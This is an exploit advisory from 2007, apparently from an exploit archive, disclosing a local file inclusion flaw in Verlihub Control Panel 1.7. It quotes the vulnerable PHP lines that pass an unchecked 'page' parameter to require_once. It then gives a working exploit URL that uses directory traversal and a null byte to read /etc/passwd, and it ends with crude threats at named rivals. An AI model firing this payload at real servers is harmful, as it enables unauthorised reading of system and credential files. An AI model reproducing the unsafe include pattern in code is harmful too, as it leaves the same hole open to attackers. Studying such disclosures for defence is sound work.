verlihub-lfi.txt
Posted on 09 October 2007
##################################################################################### #Verlihub Control Panel v 1.7 PHP 4.x Local File Inclusion #http://vhcp.verlihub- project.org/ # #Bug Found By Methodman #From TEAMELITE <-> dchub.nemesis.te-home.net:4120 ##################################################################################### #Bug: #Line: 27 - ini_set("magic_quotes_gpc","1"); ............................ Line: 71 - $page_name = #isset($_GET['page']) ? $_GET['page'] : (!isset($_SESSION['verliadmin']) ? 'start' : 'start'); .....Line: 145 - #require_once("./pages/$page_name.php"); ##################################################################################### #NEED: magic_quotes=OFF # #NEED: disable_functions=ini_set ##################################################################################### # #Exploit: # #http://site/path/?page=../../../../../../../../etc/passwd%00 # # ##################################################################################### # #Gr33tZ: To All Members Of TEAMELITE # Ashura,Lord_Zero,Meka][Meka,Ne0 # AND # My Friend Elekt From Antichat. ##################################################################################### #My 3N3mY ?: ...Mish and Dark If Y0u FUck w1t me,I'll pUt my f00t in y0ur aSs !... #####################################################################################